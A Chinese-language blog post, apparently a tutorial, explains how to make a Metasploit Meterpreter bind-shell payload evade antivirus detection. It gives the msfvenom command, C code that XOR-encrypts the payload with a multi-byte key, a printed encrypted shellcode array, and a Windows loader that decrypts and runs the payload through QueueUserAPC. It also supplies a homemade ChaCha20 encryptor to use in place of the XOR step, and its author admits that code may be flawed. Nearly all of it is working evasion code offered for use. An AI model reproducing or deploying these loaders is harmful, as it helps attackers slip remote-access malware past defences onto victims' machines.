这篇文章发表于 632 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

这里介绍一种异或的方式实现的简单免杀方法,目前能够bypass大量AV。

外界大量的异或方法都是异或某个固定的字符,但在这里我们将单个固定的字符变为一串密码。所以根据需要,我们要先用msfvenom生成原始的payload,这里选用的是windows/x64/meterpreter/bind_tcp这个模块。

1
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=9001 -f raw -o meterpreter.bin

具体的C代码实现如下,将其命名为xor_encrypt.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

void xor(char *data, int len, char *key, int klen) {
unsigned char *a = (unsigned char *)data;
unsigned char *k = (unsigned char *)key;
for (int i=0; i<len; i++) {
a[i] ^= k[i % klen]; //这里的运算可以再诡异一点
}
}

int main(int argc, char *argv[]) {
int in_fd;
int out_fd;
char *b;
if (argc<4) {
printf("Usage: ./encrypt input output key");
}
in_fd = open(argv[1], O_RDONLY);
out_fd = open(argv[2], O_RDWR | O_CREAT);
if (in_fd != -1) {
struct stat s;
fstat(in_fd, &s);
b = malloc(s.st_size);
read(in_fd, b, s.st_size);
xor(b, s.st_size, argv[3], strlen(argv[3]));
write(out_fd, b, s.st_size);
close(in_fd);
close(out_fd);
}
}

// bash> gcc xor_encrypt.c -o encrypt
// bash> ./encrypt meterpreter.bin meterpreter.xor.bin pass5ord
//代码可作简单修改进行逆运算来检验正确性

通过最后注释中的两条命令,经过异或处理后的payload在meterpreter.xor.bin中,现在需要一步转换将其作为shellcode(这个shellcode是异或的结果)以便进行下一步的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
cat meterpreter.xor.bin | msfvenom -a x64 --platform windows -f c -o payload.h

#生成的payload.h内容的大致格式如下(这里的举例我在加密上运算搞了些事情,但格式可供参考):
unsigned char buf[] =
"\x8c\x38\xf1\x94\x80\x8f\x8f\x8f\xe8\xcc\x00\x00\x00\x41\x51"
"\x41\x20\x22\x21\x26\x38\x41\xa2\x15\x48\x8b\x52\x60\x48\x8b"
"\x52\x18\x38\xfb\x22\x50\x38\xfb\x02\x20\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x38\x41\xb0\xdc\x4c\x11\x0c\x72\x2c\x20\x41\xc1"
"\xc9\x0d\x41\x01\xb1\x92\x9d\x22\x31\x21\x38\xfb\x52\x20\x8b"
"\x42\x3c\x48\x01\xd0\x16\xf1\x08\x68\x7b\x72\x7f\xf5\x72\x00"
"\x00\x00\x8b\x80\x88\x00\x70\x70\x38\xf5\xb0\x04\x17\x38\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x30\x50\x39\x71\xa0\x93\x26\x38"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xa6\x3d\x41\xb9\x38\x41\xb0"
"\xdc\x41\xc1\xc9\x0d\x41\x01\xc1\x38\x90\x05\x81\x3c\x73\x3c"
"\x54\x78\x45\x39\xd1\x75\xd8\x58\x44\x8b\x30\x54\x39\x71\xa0"
"\x16\x31\xfb\x0c\x48\x44\x8b\x40\x1c\x49\x01\xa0\x31\xfb\x74"
"\xf8\x38\x71\xa0\x41\x58\x41\x58\x5e\x59\x5a\x41\x28\x31\x29"
"\x31\x2a\x38\xf3\x9c\x20\x41\x52\xff\xe0\x58\x41\x59\x2a\x38"
"\xfb\x62\x99\x3b\x8f\x8f\xff\x5d\x49\xbe\x77\x73\x32\x5f\x43"
"\x42\x70\x70\x31\x26\x39\xf9\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x39\xf9\x95\x38\x41\xb0\x20\x20\x49\xc7\xc4\x02\x00\x23\x29"
"\x41\x24\x39\xf9\x94\x3c\xf9\x81\x31\xba\x4c\x77\x26\x07\xff"
"\xd5\x4c\xf9\x9a\x18\x71\x71\x70\x70\x29\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x1a\x72\x29\x20\x20\x3d\x41\xb9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xb2\x31\xca\x9a\x7f\xaf\x90\x8f\xd5\x48\x89"
"\xc7\x6a\x10\x41\x58\x3c\xf9\x92\x38\xf9\x89\x31\xca\xc2\xdb"
"\x37\x67\xff\xd5\x48\x31\xa2\x38\xf9\x89\x31\xca\xc7\x99\x38"
"\xff\xff\xd5\x4d\x31\xc0\x48\x41\xa2\x38\xf9\x89\x31\xca\x04"
"\xec\x3b\xe1\xff\xd5\x48\x89\xf9\x38\xf9\xb7\x31\xca\x05\x1e"
"\x3d\x61\xff\xd5\x48\x81\xc4\xb0\x02\x70\x70\x38\xf3\x9c\x60"
"\x38\xf9\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x38\xf9\x89\x31\xca"
"\x72\xa9\xb8\x5f\xff\xd5\x48\x83\xc4\x20\x5e\xf9\x86\x1a\x30"
"\x31\x29\x18\x70\x10\x00\x00\x41\x58\x48\x89\xf2\x38\x41\xb9"
"\x31\xca\x28\xd4\x23\xe5\xff\xd5\x48\x89\xc3\x49\x89\xb7\x3d"
"\x41\xb9\x39\xf9\x80\x38\x89\xda\x48\x89\xf9\x41\xba\x02\xa9"
"\xb8\x2f\x8f\xa5\x38\x71\xb3\x48\x29\xc6\x48\x85\xf6\x75\xe1"
"\x31\x8f\x97\x28\x1a\x70\x29\x39\xc7\xc2\xf0\xb5\xa2\x56\xff"
"\xd5";

之后的代码只要将真正的shellcode还原并且执行即可,这个思路比较容易理解。将下面代码命名为exec.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include "payload.h"

#define ENCRYPTION_KEY "pass5ord"
#define ENCRYPTION_KEY_LEN 8

void decrypt(void) {
unsigned char *k = ENCRYPTION_KEY;
for (int i=0; i<sizeof(buf); i++)
buf[i] ^= k[i % ENCRYPTION_KEY_LEN];
}
static void execute_payload(void) {
DWORD p_old;
decrypt();
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READ, (PDWORD)&p_old);
QueueUserAPC((PAPCFUNC)buf, GetCurrentThread(), (ULONG_PTR)NULL);
SleepEx(5000, TRUE);
}
int main(int argc, char *argv[]) {
execute_payload();
}

//x86_64-w64-mingw32-gcc exec.c -o exec.exe -lkernel32 -Os -s
//若要安装x86_64-w64-mingw32-gcc,可使用命令 apt-get install gcc-mingw-w64-x86-64

不难看出,这里的执行方式是通过QueueUserAPCSleepEx的调用将其作为合法进程启动的,最终生成的exec.exe即为病毒。相关的文章有 https://xz.aliyun.com/t/4092

以上这些参考了ippsec的hackback视频。

最后附上一个靠chacha20加密实现的程序chacha20_encrypt.c,可以用来替代上面的简单xor过程,其解密过程只需重复一遍加密即可(说白了也是一种xor,但最终的还原并生成病毒的程序尚需要大家亲自去实现)。由于程序是靠个人理解编写的,可能存在一些原理上的问题。

chacha20_encrypt.c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

#define ROUNDS 20
#define ROTL(a,b) (((a) << (b)) | ((a) >> (32 - (b))))
#define QR(a,b,c,d)( \
a += b, d ^= a, d = ROTL(d,16), \
c += d, b ^= c, b = ROTL(b,12), \
a += b, d ^= a, d = ROTL(d,8), \
c += d, b ^= c, b = ROTL(b,7) \
)

static const char Const[4] = "CONS";
static const char iv[2] = "iv";
u_int32_t tmpinit[16];

void chacha20_ivinit(char *key){
int i;
unsigned char *k = (unsigned char *) key;
for (i = 0; i < 4; i++)
tmpinit[i] = (u_int32_t) Const[i];
for (i = 4; i < 12; i++)
tmpinit[i] = (u_int32_t) k[i - 4];
tmpinit[12] = tmpinit[13] = 0;
tmpinit[14] = (u_int32_t) iv[0];
tmpinit[15] = (u_int32_t) iv[1];
}

void chacha20(char *data, int group_id) {
char *a = (char *)data;
u_int32_t tmp[16];
int i;
for (i = 0; i < 16; i++)
tmp[i] = tmpinit[i];

for (i = 0; i < ROUNDS; i += 2){
// Odd Round
QR(tmp[0], tmp[4], tmp[8], tmp[12]);
QR(tmp[1], tmp[5], tmp[9], tmp[13]);
QR(tmp[2], tmp[6], tmp[10], tmp[14]);
QR(tmp[3], tmp[7], tmp[11], tmp[15]);
// Even Round
QR(tmp[0], tmp[5], tmp[10], tmp[15]);
QR(tmp[1], tmp[6], tmp[11], tmp[12]);
QR(tmp[2], tmp[7], tmp[8], tmp[13]);
QR(tmp[3], tmp[4], tmp[9], tmp[14]);
}

//printf("%d",group_id);
for (i = 0; i < 16; i++) {
tmp[i] += tmpinit[i];
a[i + 16 * group_id] ^= (char) tmp[i];
//printf("%c",tmp[i]);
}
tmpinit[12] += 1;
tmpinit[13] += 1;
}

int main(int argc, char *argv[]) {
int in_fd, out_fd;
int group_id = 0;
int b_size;
char *b;

if (argc<4) {
printf("Usage: ./encrypt {input_file} {output_file} {your_key(length=8)}");
}
in_fd = open(argv[1], O_RDONLY);
out_fd = open(argv[2], O_RDWR | O_CREAT);
if (strlen(argv[3]) !=8){
printf("Sorry, the key length must be 8...");
exit(0);
}
if (in_fd != -1) {
struct stat s;
fstat(in_fd, &s);
b_size = (s.st_size + 15) / 16 * 16;
b = malloc(b_size);
read(in_fd, b, s.st_size);
chacha20_ivinit(argv[3]);
for (int i = 0; i < b_size / 16; i++){
chacha20(b, i);
}

write(out_fd, b, s.st_size);
close(in_fd);
close(out_fd);
}
}

参考文章:

https://www.adalabs.com/adalabs-chacha20poly1305.pdf

https://cr.yp.to/streamciphers/timings/estreambench/submissions/salsa20/chacha8/ref/chacha.c

https://en.wikipedia.org/wiki/Salsa20